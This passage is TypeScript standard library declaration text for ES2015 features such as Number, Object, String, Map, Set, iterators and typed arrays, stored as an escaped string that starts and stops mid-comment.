expression.\\n     */\\n    cbrt(x: number): number;\\n}\\n\\ninterface NumberConstructor {\\n    /**\\n     * The value of Number.EPSILON is the difference between 1 and the smallest value greater than 1\\n     * that is representable as a Number value, which is approximately:\\n     * 2.2204460492503130808472633361816 x 10‍−‍16.\\n     */\\n    readonly EPSILON: number;\\n\\n    /**\\n     * Returns true if passed value is finite.\\n     * Unlike the global isFinite, Number.isFinite doesn\\'t forcibly convert the parameter to a\\n     * number. Only finite values of the type number, result in true.\\n     * @param number A numeric value.\\n     */\\n    isFinite(number: number): boolean;\\n\\n    /**\\n     * Returns true if the value passed is an integer, false otherwise.\\n     * @param number A numeric value.\\n     */\\n    isInteger(number: number): boolean;\\n\\n    /**\\n     * Returns a Boolean value that indicates whether a value is the reserved value NaN (not a\\n     * number). Unlike the global isNaN(), Number.isNaN() doesn\\'t forcefully convert the parameter\\n     * to a number. Only values of the type number, that are also NaN, result in true.\\n     * @param number A numeric value.\\n     */\\n    isNaN(number: number): boolean;\\n\\n    /**\\n     * Returns true if the value passed is a safe integer.\\n     * @param number A numeric value.\\n     */\\n    isSafeInteger(number: number): boolean;\\n\\n    /**\\n     * The value of the largest integer n such that n and n + 1 are both exactly representable as\\n     * a Number value.\\n     * The value of Number.MAX_SAFE_INTEGER is 9007199254740991 2^53 − 1.\\n     */\\n    readonly MAX_SAFE_INTEGER: number;\\n\\n    /**\\n     * The value of the smallest integer n such that n and n − 1 are both exactly representable as\\n     * a Number value.\\n     * The value of Number.MIN_SAFE_INTEGER is −9007199254740991 (−(2^53 − 1)).\\n     */\\n    readonly MIN_SAFE_INTEGER: number;\\n\\n    /**\\n     * Converts a string to a floating-point number.\\n     * @param string A string that contains a floating-point number.\\n     */\\n    parseFloat(string: string): number;\\n\\n    /**\\n     * Converts A string to an integer.\\n     * @param s A string to convert into a number.\\n     * @param radix A value between 2 and 36 that specifies the base of the number in numString.\\n     * If this argument is not supplied, strings with a prefix of \\'0x\\' are considered hexadecimal.\\n     * All other strings are considered decimal.\\n     */\\n    parseInt(string: string, radix?: number): number;\\n}\\n\\ninterface Object {\\n    /**\\n     * Determines whether an object has a property with the specified name.\\n     * @param v A property name.\\n     */\\n    hasOwnProperty(v: PropertyKey): boolean;\\n\\n    /**\\n     * Determines whether a specified property is enumerable.\\n     * @param v A property name.\\n     */\\n    propertyIsEnumerable(v: PropertyKey): boolean;\\n}\\n\\ninterface ObjectConstructor {\\n    /**\\n     * Copy the values of all of the enumerable own properties from one or more source objects to a\\n     * target object. Returns the target object.\\n     * @param target The target object to copy to.\\n     * @param source The source object from which to copy properties.\\n     */\\n    assign<T, U>(target: T, source: U): T & U;\\n\\n    /**\\n     * Copy the values of all of the enumerable own properties from one or more source objects to a\\n     * target object. Returns the target object.\\n     * @param target The target object to copy to.\\n     * @param source1 The first source object from which to copy properties.\\n     * @param source2 The second source object from which to copy properties.\\n     */\\n    assign<T, U, V>(target: T, source1: U, source2: V): T & U & V;\\n\\n    /**\\n     * Copy the values of all of the enumerable own properties from one or more source objects to a\\n     * target object. Returns the target object.\\n     * @param target The target object to copy to.\\n     * @param source1 The first source object from which to copy properties.\\n     * @param source2 The second source object from which to copy properties.\\n     * @param source3 The third source object from which to copy properties.\\n     */\\n    assign<T, U, V, W>(target: T, source1: U, source2: V, source3: W): T & U & V & W;\\n\\n    /**\\n     * Copy the values of all of the enumerable own properties from one or more source objects to a\\n     * target object. Returns the target object.\\n     * @param target The target object to copy to.\\n     * @param sources One or more source objects from which to copy properties\\n     */\\n    assign(target: object, ...sources: any[]): any;\\n\\n    /**\\n     * Returns an array of all symbol properties found directly on object o.\\n     * @param o Object to retrieve the symbols from.\\n     */\\n    getOwnPropertySymbols(o: any): symbol[];\\n\\n    /**\\n     * Returns true if the values are the same value, false otherwise.\\n     * @param value1 The first value.\\n     * @param value2 The second value.\\n     */\\n    is(value1: any, value2: any): boolean;\\n\\n    /**\\n     * Sets the prototype of a specified object o to  object proto or null. Returns the object o.\\n     * @param o The object to change its prototype.\\n     * @param proto The value of the new prototype or null.\\n     */\\n    setPrototypeOf(o: any, proto: object | null): any;\\n\\n    /**\\n     * Gets the own property descriptor of the specified object.\\n     * An own property descriptor is one that is defined directly on the object and is not\\n     * inherited from the object\\'s prototype.\\n     * @param o Object that contains the property.\\n     * @param p Name of the property.\\n     */\\n    getOwnPropertyDescriptor(o: any, propertyKey: PropertyKey): PropertyDescriptor;\\n\\n    /**\\n     * Adds a property to an object, or modifies attributes of an existing property.\\n     * @param o Object on which to add or modify the property. This can be a native JavaScript\\n     * object (that is, a user-defined object or a built in object) or a DOM object.\\n     * @param p The property name.\\n     * @param attributes Descriptor for the property. It can be for a data property or an accessor\\n     *  property.\\n     */\\n    defineProperty(o: any, propertyKey: PropertyKey, attributes: PropertyDescriptor): any;\\n}\\n\\ninterface ReadonlyArray<T> {\\n    /**\\n     * Returns the value of the first element in the array where predicate is true, and undefined\\n     * otherwise.\\n     * @param predicate find calls predicate once for each element of the array, in ascending\\n     * order, until it finds one where predicate returns true. If such an element is found, find\\n     * immediately returns that element value. Otherwise, find returns undefined.\\n     * @param thisArg If provided, it will be used as the this value for each invocation of\\n     * predicate. If it is not provided, undefined is used instead.\\n     */\\n    find(predicate: (this: void, value: T, index: number, obj: ReadonlyArray<T>) => boolean): T | undefined;\\n    find(predicate: (this: void, value: T, index: number, obj: ReadonlyArray<T>) => boolean, thisArg: undefined): T | undefined;\\n    find<Z>(predicate: (this: Z, value: T, index: number, obj: ReadonlyArray<T>) => boolean, thisArg: Z): T | undefined;\\n\\n    /**\\n     * Returns the index of the first element in the array where predicate is true, and -1\\n     * otherwise.\\n     * @param predicate find calls predicate once for each element of the array, in ascending\\n     * order, until it finds one where predicate returns true. If such an element is found,\\n     * findIndex immediately returns that element index. Otherwise, findIndex returns -1.\\n     * @param thisArg If provided, it will be used as the this value for each invocation of\\n     * predicate. If it is not provided, undefined is used instead.\\n     */\\n    findIndex(predicate: (this: void, value: T, index: number, obj: Array<T>) => boolean): number;\\n    findIndex(predicate: (this: void, value: T, index: number, obj: Array<T>) => boolean, thisArg: undefined): number;\\n    findIndex<Z>(predicate: (this: Z, value: T, index: number, obj: Array<T>) => boolean, thisArg: Z): number;\\n}\\n\\ninterface RegExp {\\n    /**\\n     * Returns a string indicating the flags of the regular expression in question. This field is read-only.\\n     * The characters in this string are sequenced and concatenated in the following order:\\n     *\\n     *    - \"g\" for global\\n     *    - \"i\" for ignoreCase\\n     *    - \"m\" for multiline\\n     *    - \"u\" for unicode\\n     *    - \"y\" for sticky\\n     *\\n     * If no flags are set, the value is the empty string.\\n     */\\n    readonly flags: string;\\n\\n    /**\\n     * Returns a Boolean value indicating the state of the sticky flag (y) used with a regular\\n     * expression. Default is false. Read-only.\\n     */\\n    readonly sticky: boolean;\\n\\n    /**\\n     * Returns a Boolean value indicating the state of the Unicode flag (u) used with a regular\\n     * expression. Default is false. Read-only.\\n     */\\n    readonly unicode: boolean;\\n}\\n\\ninterface RegExpConstructor {\\n    new (pattern: RegExp, flags?: string): RegExp;\\n    (pattern: RegExp, flags?: string): RegExp;\\n}\\n\\ninterface String {\\n    /**\\n     * Returns a nonnegative integer Number less than 1114112 (0x110000) that is the code point\\n     * value of the UTF-16 encoded code point starting at the string element at position pos in\\n     * the String resulting from converting this object to a String.\\n     * If there is no element at that position, the result is undefined.\\n     * If a valid UTF-16 surrogate pair does not begin at pos, the result is the code unit at pos.\\n     */\\n    codePointAt(pos: number): number | undefined;\\n\\n    /**\\n     * Returns true if searchString appears as a substring of the result of converting this\\n     * object to a String, at one or more positions that are\\n     * greater than or equal to position; otherwise, returns false.\\n     * @param searchString search string\\n     * @param position If position is undefined, 0 is assumed, so as to search all of the String.\\n     */\\n    includes(searchString: string, position?: number): boolean;\\n\\n    /**\\n     * Returns true if the sequence of elements of searchString converted to a String is the\\n     * same as the corresponding elements of this object (converted to a String) starting at\\n     * endPosition – length(this). Otherwise returns false.\\n     */\\n    endsWith(searchString: string, endPosition?: number): boolean;\\n\\n    /**\\n     * Returns the String value result of normalizing the string into the normalization form\\n     * named by form as specified in Unicode Standard Annex #15, Unicode Normalization Forms.\\n     * @param form Applicable values: \"NFC\", \"NFD\", \"NFKC\", or \"NFKD\", If not specified default\\n     * is \"NFC\"\\n     */\\n    normalize(form: \"NFC\" | \"NFD\" | \"NFKC\" | \"NFKD\"): string;\\n\\n    /**\\n     * Returns the String value result of normalizing the string into the normalization form\\n     * named by form as specified in Unicode Standard Annex #15, Unicode Normalization Forms.\\n     * @param form Applicable values: \"NFC\", \"NFD\", \"NFKC\", or \"NFKD\", If not specified default\\n     * is \"NFC\"\\n     */\\n    normalize(form?: string): string;\\n\\n    /**\\n     * Returns a String value that is made from count copies appended together. If count is 0,\\n     * T is the empty String is returned.\\n     * @param count number of copies to append\\n     */\\n    repeat(count: number): string;\\n\\n    /**\\n     * Returns true if the sequence of elements of searchString converted to a String is the\\n     * same as the corresponding elements of this object (converted to a String) starting at\\n     * position. Otherwise returns false.\\n     */\\n    startsWith(searchString: string, position?: number): boolean;\\n\\n    /**\\n     * Returns an <a> HTML anchor element and sets the name attribute to the text value\\n     * @param name\\n     */\\n    anchor(name: string): string;\\n\\n    /** Returns a <big> HTML element */\\n    big(): string;\\n\\n    /** Returns a <blink> HTML element */\\n    blink(): string;\\n\\n    /** Returns a <b> HTML element */\\n    bold(): string;\\n\\n    /** Returns a <tt> HTML element */\\n    fixed(): string;\\n\\n    /** Returns a <font> HTML element and sets the color attribute value */\\n    fontcolor(color: string): string;\\n\\n    /** Returns a <font> HTML element and sets the size attribute value */\\n    fontsize(size: number): string;\\n\\n    /** Returns a <font> HTML element and sets the size attribute value */\\n    fontsize(size: string): string;\\n\\n    /** Returns an <i> HTML element */\\n    italics(): string;\\n\\n    /** Returns an <a> HTML element and sets the href attribute value */\\n    link(url: string): string;\\n\\n    /** Returns a <small> HTML element */\\n    small(): string;\\n\\n    /** Returns a <strike> HTML element */\\n    strike(): string;\\n\\n    /** Returns a <sub> HTML element */\\n    sub(): string;\\n\\n    /** Returns a <sup> HTML element */\\n    sup(): string;\\n}\\n\\ninterface StringConstructor {\\n    /**\\n     * Return the String value whose elements are, in order, the elements in the List elements.\\n     * If length is 0, the empty string is returned.\\n     */\\n    fromCodePoint(...codePoints: number[]): string;\\n\\n    /**\\n     * String.raw is intended for use as a tag function of a Tagged Template String. When called\\n     * as such the first argument will be a well formed template call site object and the rest\\n     * parameter will contain the substitution values.\\n     * @param template A well-formed template string call site representation.\\n     * @param substitutions A set of substitution values.\\n     */\\n    raw(template: TemplateStringsArray, ...substitutions: any[]): string;\\n}\\n\\n\\ninterface Map<K, V> {\\n    clear(): void;\\n    delete(key: K): boolean;\\n    forEach(callbackfn: (value: V, key: K, map: Map<K, V>) => void, thisArg?: any): void;\\n    get(key: K): V | undefined;\\n    has(key: K): boolean;\\n    set(key: K, value: V): this;\\n    readonly size: number;\\n}\\n\\ninterface MapConstructor {\\n    new (): Map<any, any>;\\n    new <K, V>(entries?: [K, V][]): Map<K, V>;\\n    readonly prototype: Map<any, any>;\\n}\\ndeclare var Map: MapConstructor;\\n\\ninterface ReadonlyMap<K, V> {\\n    forEach(callbackfn: (value: V, key: K, map: ReadonlyMap<K, V>) => void, thisArg?: any): void;\\n    get(key: K): V | undefined;\\n    has(key: K): boolean;\\n    readonly size: number;\\n}\\n\\ninterface WeakMap<K extends object, V> {\\n    delete(key: K): boolean;\\n    get(key: K): V | undefined;\\n    has(key: K): boolean;\\n    set(key: K, value: V): this;\\n}\\n\\ninterface WeakMapConstructor {\\n    new (): WeakMap<object, any>;\\n    new <K extends object, V>(entries?: [K, V][]): WeakMap<K, V>;\\n    readonly prototype: WeakMap<object, any>;\\n}\\ndeclare var WeakMap: WeakMapConstructor;\\n\\ninterface Set<T> {\\n    add(value: T): this;\\n    clear(): void;\\n    delete(value: T): boolean;\\n    forEach(callbackfn: (value: T, value2: T, set: Set<T>) => void, thisArg?: any): void;\\n    has(value: T): boolean;\\n    readonly size: number;\\n}\\n\\ninterface SetConstructor {\\n    new (): Set<any>;\\n    new <T>(values?: T[]): Set<T>;\\n    readonly prototype: Set<any>;\\n}\\ndeclare var Set: SetConstructor;\\n\\ninterface ReadonlySet<T> {\\n    forEach(callbackfn: (value: T, value2: T, set: ReadonlySet<T>) => void, thisArg?: any): void;\\n    has(value: T): boolean;\\n    readonly size: number;\\n}\\n\\ninterface WeakSet<T> {\\n    add(value: T): this;\\n    delete(value: T): boolean;\\n    has(value: T): boolean;\\n}\\n\\ninterface WeakSetConstructor {\\n    new (): WeakSet<object>;\\n    new <T extends object>(values?: T[]): WeakSet<T>;\\n    readonly prototype: WeakSet<object>;\\n}\\ndeclare var WeakSet: WeakSetConstructor;\\n\\n\\ninterface Generator extends Iterator<any> { }\\n\\ninterface GeneratorFunction {\\n    /**\\n     * Creates a new Generator object.\\n     * @param args A list of arguments the function accepts.\\n     */\\n    new (...args: any[]): Generator;\\n    /**\\n     * Creates a new Generator object.\\n     * @param args A list of arguments the function accepts.\\n     */\\n    (...args: any[]): Generator;\\n    /**\\n     * The length of the arguments.\\n     */\\n    readonly length: number;\\n    /**\\n     * Returns the name of the function.\\n     */\\n    readonly name: string;\\n    /**\\n     * A reference to the prototype.\\n     */\\n    readonly prototype: Generator;\\n}\\n\\ninterface GeneratorFunctionConstructor {\\n    /**\\n     * Creates a new Generator function.\\n     * @param args A list of arguments the function accepts.\\n     */\\n    new (...args: string[]): GeneratorFunction;\\n    /**\\n     * Creates a new Generator function.\\n     * @param args A list of arguments the function accepts.\\n     */\\n    (...args: string[]): GeneratorFunction;\\n    /**\\n     * The length of the arguments.\\n     */\\n    readonly length: number;\\n    /**\\n     * Returns the name of the function.\\n     */\\n    readonly name: string;\\n    /**\\n     * A reference to the prototype.\\n     */\\n    readonly prototype: GeneratorFunction;\\n}\\ndeclare var GeneratorFunction: GeneratorFunctionConstructor;\\n\\n\\n/// <reference path=\"lib.es2015.symbol.d.ts\" />\\n\\ninterface SymbolConstructor {\\n    /**\\n     * A method that returns the default iterator for an object. Called by the semantics of the\\n     * for-of statement.\\n     */\\n    readonly iterator: symbol;\\n}\\n\\ninterface IteratorResult<T> {\\n    done: boolean;\\n    value: T;\\n}\\n\\ninterface Iterator<T> {\\n    next(value?: any): IteratorResult<T>;\\n    return?(value?: any): IteratorResult<T>;\\n    throw?(e?: any): IteratorResult<T>;\\n}\\n\\ninterface Iterable<T> {\\n    [Symbol.iterator](): Iterator<T>;\\n}\\n\\ninterface IterableIterator<T> extends Iterator<T> {\\n    [Symbol.iterator](): IterableIterator<T>;\\n}\\n\\ninterface Array<T> {\\n    /** Iterator */\\n    [Symbol.iterator](): IterableIterator<T>;\\n\\n    /**\\n     * Returns an iterable of key, value pairs for every entry in the array\\n     */\\n    entries(): IterableIterator<[number, T]>;\\n\\n    /**\\n     * Returns an iterable of keys in the array\\n     */\\n    keys(): IterableIterator<number>;\\n\\n    /**\\n     * Returns an iterable of values in the array\\n     */\\n    values(): IterableIterator<T>;\\n}\\n\\ninterface ArrayConstructor {\\n    /**\\n     * Creates an array from an iterable object.\\n     * @param iterable An iterable object to convert to an array.\\n     * @param mapfn A mapping function to call on every element of the array.\\n     * @param thisArg Value of \\'this\\' used to invoke the mapfn.\\n     */\\n    from<T, U>(iterable: Iterable<T>, mapfn: (this: void, v: T, k: number) => U): Array<U>;\\n    from<T, U>(iterable: Iterable<T>, mapfn: (this: void, v: T, k: number) => U, thisArg: undefined): Array<U>;\\n    from<Z, T, U>(iterable: Iterable<T>, mapfn: (this: Z, v: T, k: number) => U, thisArg: Z): Array<U>;\\n\\n    /**\\n     * Creates an array from an iterable object.\\n     * @param iterable An iterable object to convert to an array.\\n     */\\n    from<T>(iterable: Iterable<T>): Array<T>;\\n}\\n\\ninterface ReadonlyArray<T> {\\n    /** Iterator of values in the array. */\\n    [Symbol.iterator](): IterableIterator<T>;\\n\\n    /**\\n     * Returns an iterable of key, value pairs for every entry in the array\\n     */\\n    entries(): IterableIterator<[number, T]>;\\n\\n    /**\\n     * Returns an iterable of keys in the array\\n     */\\n    keys(): IterableIterator<number>;\\n\\n    /**\\n     * Returns an iterable of values in the array\\n     */\\n    values(): IterableIterator<T>;\\n}\\n\\ninterface IArguments {\\n    /** Iterator */\\n    [Symbol.iterator](): IterableIterator<any>;\\n}\\n\\ninterface Map<K, V> {\\n    /** Returns an iterable of entries in the map. */\\n    [Symbol.iterator](): IterableIterator<[K, V]>;\\n\\n    /**\\n     * Returns an iterable of key, value pairs for every entry in the map.\\n     */\\n    entries(): IterableIterator<[K, V]>;\\n\\n    /**\\n     * Returns an iterable of keys in the map\\n     */\\n    keys(): IterableIterator<K>;\\n\\n    /**\\n     * Returns an iterable of values in the map\\n     */\\n    values(): IterableIterator<V>;\\n}\\n\\ninterface ReadonlyMap<K, V> {\\n    /** Returns an iterable of entries in the map. */\\n    [Symbol.iterator](): IterableIterator<[K, V]>;\\n\\n    /**\\n     * Returns an iterable of key, value pairs for every entry in the map.\\n     */\\n    entries(): IterableIterator<[K, V]>;\\n\\n    /**\\n     * Returns an iterable of keys in the map\\n     */\\n    keys(): IterableIterator<K>;\\n\\n    /**\\n     * Returns an iterable of values in the map\\n     */\\n    values(): IterableIterator<V>;\\n}\\n\\ninterface MapConstructor {\\n    new <K, V>(iterable: Iterable<[K, V]>): Map<K, V>;\\n}\\n\\ninterface WeakMap<K extends object, V> { }\\n\\ninterface WeakMapConstructor {\\n    new <K extends object, V>(iterable: Iterable<[K, V]>): WeakMap<K, V>;\\n}\\n\\ninterface Set<T> {\\n    /** Iterates over values in the set. */\\n    [Symbol.iterator](): IterableIterator<T>;\\n    /**\\n     * Returns an iterable of [v,v] pairs for every value `v` in the set.\\n     */\\n    entries(): IterableIterator<[T, T]>;\\n    /**\\n     * Despite its name, returns an iterable of the values in the set,\\n     */\\n    keys(): IterableIterator<T>;\\n\\n    /**\\n     * Returns an iterable of values in the set.\\n     */\\n    values(): IterableIterator<T>;\\n}\\n\\ninterface ReadonlySet<T> {\\n    /** Iterates over values in the set. */\\n    [Symbol.iterator](): IterableIterator<T>;\\n\\n    /**\\n     * Returns an iterable of [v,v] pairs for every value `v` in the set.\\n     */\\n    entries(): IterableIterator<[T, T]>;\\n\\n    /**\\n     * Despite its name, returns an iterable of the values in the set,\\n     */\\n    keys(): IterableIterator<T>;\\n\\n    /**\\n     * Returns an iterable of values in the set.\\n     */\\n    values(): IterableIterator<T>;\\n}\\n\\ninterface SetConstructor {\\n    new <T>(iterable: Iterable<T>): Set<T>;\\n}\\n\\ninterface WeakSet<T> { }\\n\\ninterface WeakSetConstructor {\\n    new <T extends object>(iterable: Iterable<T>): WeakSet<T>;\\n}\\n\\ninterface Promise<T> { }\\n\\ninterface PromiseConstructor {\\n    /**\\n     * Creates a Promise that is resolved with an array of results when all of the provided Promises\\n     * resolve, or rejected when any Promise is rejected.\\n     * @param values An array of Promises.\\n     * @returns A new Promise.\\n     */\\n    all<TAll>(values: Iterable<TAll | PromiseLike<TAll>>): Promise<TAll[]>;\\n\\n    /**\\n     * Creates a Promise that is resolved or rejected when any of the provided Promises are resolved\\n     * or rejected.\\n     * @param values An array of Promises.\\n     * @returns A new Promise.\\n     */\\n    race<T>(values: Iterable<T | PromiseLike<T>>): Promise<T>;\\n}\\n\\ndeclare namespace Reflect {\\n    function enumerate(target: object): IterableIterator<any>;\\n}\\n\\ninterface String {\\n    /** Iterator */\\n    [Symbol.iterator](): IterableIterator<string>;\\n}\\n\\n/**\\n * A typed array of 8-bit integer values. The contents are initialized to 0. If the requested\\n * number of bytes could not be allocated an exception is raised.\\n */\\ninterface Int8Array {\\n    [Symbol.iterator](): IterableIterator<number>;\\n    /**\\n     * Returns an array of key, value pairs for every entry in the array\\n     */\\n    entries(): IterableIterator<[number, number]>;\\n    /**\\n     * Returns an list of keys in the array\\n     */\\n    keys(): IterableIterator<number>;\\n    /**\\n     * Returns an list of values in the array\\n     */\\n    values(): IterableIterator<number>;\\n}\\n\\ninterface Int8ArrayConstructor {\\n    new (elements: Iterable<number>): Int8Array;\\n\\n    /**\\n     * Creates an array from an array-like or iterable object.\\n     * @param arrayLike An array-like or iterable object to convert to an array.\\n     * @param mapfn A mapping function to call on every element of the array.\\n     * @param thisArg Value of \\'this\\' used to invoke the mapfn.\\n     */\\n    from(arrayLike: Iterable<number>, mapfn: (this: void, v: number, k: number) => number): Int8Array;\\n    from(arrayLike: Iterable<number>, mapfn: (this: void, v: number, k: number) => number, thisArg: undefined): Int8Array;\\n    from<Z>(arrayLike: Iterable<number>, mapfn: (this: Z, v: number, k: number) => number, thisArg: Z): Int8Array;\\n\\n    from(arrayLike: Iterable<number>): Int8Array;\\n}\\n\\n/**\\n * A typed array of 8-bit unsigned integer values. The contents are initialized to 0. If the\\n * requested number of bytes could not be allocated an exception is raised.\\n */\\ninterface Uint8Array {\\n    [Symbol.iterator](): IterableIterator<number>;\\n    /**\\n     * Returns an array of key, value pairs for every entry in the array\\n     */\\n    entries(): IterableIterator<[number, number]>;\\n    /**\\n     * Returns an list of keys in the array\\n     */\\n    keys(): IterableIterator<number>;\\n    /**\\n     * Returns an list of values in the array\\n     */\\n    values(): IterableIterator<number>;\\n}\\n\\ninterface Uint8ArrayConstructor {\\n    new (elements: Iterable<number>): Uint8Array;\\n\\n    /**\\n     * Creates an array from an array-like or iterable object.\\n     * @param arrayLike An array-like or iterable object to convert to an array.\\n     * @param mapfn A mapping function to call on every element of the array.\\n     * @param thisArg Value of \\'this\\' used to invoke the mapfn.\\n     */\\n    from(arrayLike: Iterable<number>, mapfn: (this: void, v: number, k: number) => number): Uint8Array;\\n    from(arrayLike: Iterable<number>, mapfn: (this: void, v: number, k: number) => number, thisArg: undefined): Uint8Array;\\n    from<Z>(arrayLike: Iterable<number>, mapfn: (this: Z, v: number, k: number) => number, thisArg: Z): Uint8Array;\\n\\n    from(arrayLike: Iterable<number>): Uint8Array;\\n}\\n\\n/**\\n * A typed array of 8-bit unsigned integer (clamped) values. The contents are initialized to 0.\\n * If the requested number of bytes could not be allocated an exception is raised.\\n */\\ninterface Uint8ClampedArray {\\n    [Symbol.iterator](): IterableIterator<number>;\\n    /**\\n     * Returns an array of key, value pairs for every entry in the array\\n     */\\n    entries(): IterableIterator<[number, number]>;\\n\\n    /**\\n     * Returns an list of keys in the array\\n     */\\n    keys(): IterableIterator<number>;\\n\\n    /**\\n     * Returns an list of values in the array\\n     */\\n    values(): IterableIterator<number>;\\n}\\n\\ninterface Uint8ClampedArrayConstructor {\\n    new (elements: Iterable<number>): Uint8ClampedArray;\\n\\n\\n    /**\\n     * Creates an array from an array-like or iterable object.\\n     * @param arrayLike An array-like or iterable object to convert to an array.\\n     * @param mapfn A mapping function to call on every element of the array.\\n     * @param thisArg Value of \\'this\\' used to invoke the mapfn.\\n     */\\n    from(arrayLike: Iterable<number>, mapfn: (this: void, v: number, k: number) => number): Uint8ClampedArray;\\n    from(arrayLike: Iterable<number>, mapfn: (this: void, v: number, k: number) => number, thisArg: undefined): Uint8ClampedArray;\\n    from<Z>(arrayLike: Iterable<number>, mapfn: (this: Z, v: number, k: number) => number, thisArg: Z): Uint8ClampedArray;\\n\\n    from(arrayLike: Iterable<number>): Uint8ClampedArray;\\n}\\n\\n/**\\n * A typed array of 16-bit signed integer values. The contents are initialized to 0. If the\\n * requested number of bytes could not be allocated an exception is raised.\\n */\\ninterface Int16Array {\\n    [Symbol.iterator](): IterableIterator<number>;\\n    /**\\n     * Returns an array of key, value pairs for every entry in the array\\n     */\\n    entries(): IterableIterator<[number, number]>;\\n\\n    /**\\n     * Returns an list of keys in the array\\n     */\\n    keys(): IterableIterator<number>;\\n\\n    /**\\n     * Returns an list of values in the array\\n     */\\n    values(): IterableIterator<number>;\\n}\\n\\ninterface Int16ArrayConstructor {\\n    new (elements: Iterable<number>): Int16Array;\\n\\n    /**\\n     * Creates an array from an array-like or iterable object.\\n     * @param arrayLike An array-like or iterable object to convert to an array.\\n     * @param mapfn A mapping function to call on every element of the array.\\n     * @param thisArg Value of \\'this\\' used to invoke the mapfn.\\n     */\\n    from(arrayLike: Iterable<number>, mapfn: (this: void, v: number, k: number) => number): Int16Array;\\n    from(arrayLike: Iterable<number>, mapfn: (this: void, v: number, k: number) => number, thisArg: undefined): Int16Array;\\n    from<Z>(arrayLike: Iterable<number>, mapfn: (this: Z, v: number, k: number) => number, thisArg: Z): Int16Array;\\n\\n    from(arrayLike: Iterable<number>): Int16Array;\\n}\\n\\n/**\\n * A typed array of 16-bit unsigned integer values. The contents are initialized to 0. If the\\n * requested number of bytes could not be allocated an exception is raised.\\n */\\ninterface Uint16Array {\\n    [Symbol.iterator](): IterableIterator<number>;\\n    /**\\n     * Returns an array of key, value pairs for every entry in the array\\n     */\\n    entries(): IterableIterator<[number, number]>;\\n    /**\\n     * Returns an list of keys in the array\\n     */\\n    keys(): IterableIterator<number>;\\n    /**\\n     * Returns an list of values in the array\\n     */\\n    values(): IterableIterator<number>;\\n}\\n\\ninterface Uint16ArrayConstructor {\\n    new (elements: Iterable<number>): Uint16Array;\\n\\n    /**\\n     * Creates an array from an array-like or iterable object.\\n     * @param arrayLike An array-like or iterable object to convert to an array.\\n     * @param mapfn A mapping function to call on every element of the array.\\n     * @param thisArg Value of \\'this\\' used to invoke the mapfn.\\n     */\\n    from(arrayLike: Iterable<number>, mapfn: (this: void, v: number, k: number) => number): Uint16Array;\\n    from(arrayLike: Iterable<number>, mapfn: (this: void, v: number, k: number) => number, thisArg: undefined): Uint16Array;\\n    from<Z>(arrayLike: Iterable<number>, mapfn: (this: Z, v: number, k: number) => number, thisArg: Z): Uint16Array;\\n\\n    from(arrayLike: Iterable<number>): Uint16Array;\\n}\\n\\n/**\\n * A typed array of 32-bit signed integer values. The contents are initialized to 0. If the\\n * requested number of bytes could not be allocated an exception is raised.\\n */\\ninterface Int32Array {\\n    [Symbol.iterator](): IterableIterator<number>;\\n    /**\\n     * Returns an array of key, value pairs for every entry in the array\\n     */\\n    entries(): IterableIterator<[number, number]>;\\n    /**\\n     * Returns an list of keys in the array\\n     */\\n    keys(): IterableIterator<number>;\\n    /**\\n     * Returns an list of values in the array\\n     */\\n    values(): IterableIterator<number>;\\n}\\n\\ninterface Int32ArrayConstructor {\\n    new (elements: Iterable<number>): Int32Array;\\n\\n    /**\\n     * Creates an array from an array-like or iterable object.\\n     * @param arrayLike An array-like or iterable object to convert to an array.\\n     * @param mapfn A mapping function to call on every element of the array.\\n     * @param thisArg Value of \\'this\\' used to invoke the mapfn.\\n     */\\n    from(arrayLike: Iterable<number>, mapfn: (this: void, v: number, k: number) => number): Int32Array;\\n    from(arrayLike: Iterable<number>, mapfn: (this: void, v: number, k: number) => number, thisArg: undefined): Int32Array;\\n    from<Z>(arrayLike: Iterable<number>, mapfn: (this: Z, v: number, k: number) => number, thisArg: Z): Int32Array;\\n\\n    from(arrayLike: Iterable<number>): Int32Array;\\n}\\n\\n/**\\n * A typed array of 32-bit unsigned integer values. The contents are initialized to 0. If the\\n * requested number of bytes could not be allocated an exception is raised.\\n */\\ninterface Uint32Array {\\n    [Symbol.iterator](): IterableIterator<number>;\\n    /**\\n     * Returns an array of key, value pairs for every entry in the array\\n     */\\n    entries(): IterableIterator<[number, number]>;\\n    /**\\n     * Returns an list of keys in the array\\n     */\\n    keys(): IterableIterator<number>;\\n    /**\\n     * Returns an list of values in the array\\n     */\\n    values(): IterableIterator<number>;\\n}\\n\\ninterface Uint32ArrayConstructor {\\n    new (elements: Iterable<number>): Uint32Array;\\n\\n    /**\\n     * Creates an array from an array-like or iterable object.\\n     * @param arrayLike An array-like or iterable object to convert to an array.\\n     * @param mapfn A mapping function to call on every element of the array.\\n     * @param thisArg Value of \\'this\\' used to invoke the mapfn.\\n     */\\n    from(arrayLike: Iterable<number>, mapfn: (this: void, v: number, k: number) => number): Uint32Array;\\n    from(arrayLike: Iterable<number>, mapfn: (this: void, v: number, k: number) => number, thisArg: undefined): Uint32Array;\\n    from<Z>(arrayLike: Iterable<number>, mapfn: (this: Z, v: number, k: number) => number, thisArg: Z): Uint32Array;\\n\\n    from(arrayLike: Iterable<number>): Uint32Array;\\n}\\n\\n/**\\n * A typed array of 32-bit float values. The contents are initialized to 0. If the requested number\\n * of bytes could not be allocated an exception is raised.\\n */\\ninterface Float32Array {\\n    [Symbol.iterator](): IterableIterator<number>;\\n    /**\\n     * Returns an array of key, value pairs for every entry in the array\\n     */\\n    entries(): IterableIterator<[number, number]>;\\n    /**\\n     * Returns an list of keys in the array\\n     */\\n    keys(): IterableIterator<number>;\\n    /**\\n     * Returns an list of values in the array\\n     */\\n    values(): IterableIterator<number>;\\n}\\n\\ninterface Float32ArrayConstructor {\\n    new (elements: Iterable<number>): Float32Array;\\n\\n    /**\\n     * Creates an array from an array-like or iterable object.\\n     * @param arrayLike An array-like or iterable object to convert to an array.\\n     * @param mapfn A mapping function to call on every element of the array.\\n     * @param thisArg Value of \\'this\\' used to invoke the mapfn.\\n     */\\n    from(arrayLike: Iterable<number>, mapfn: (this: void, v: number, k: number) => number): Float32Array;\\n    from(arrayLike: Iterable<number>, mapfn: (this: void, v: number, k: number) => number, thisArg: undefined): Float32Array;\\n    from<Z>(arrayLike: Iterable<number>, mapfn: (this: Z, v: number, k: number) => number, thisArg: Z): Float32Array;\\n\\n    from(arrayLike: Iterable<number>): Float32Array;\\n}\\n\\n/**\\n * A typed array of 64-bit float values. The contents are initialized to 0. If the requested\\n * number of bytes could not be allocated an exception is raised.\\n */\\ninterface Float64Array {\\n    [Symbol.iterator](): IterableIterator<number>;\\n    /**\\n     * Returns an array of key, value pairs for every entry in the 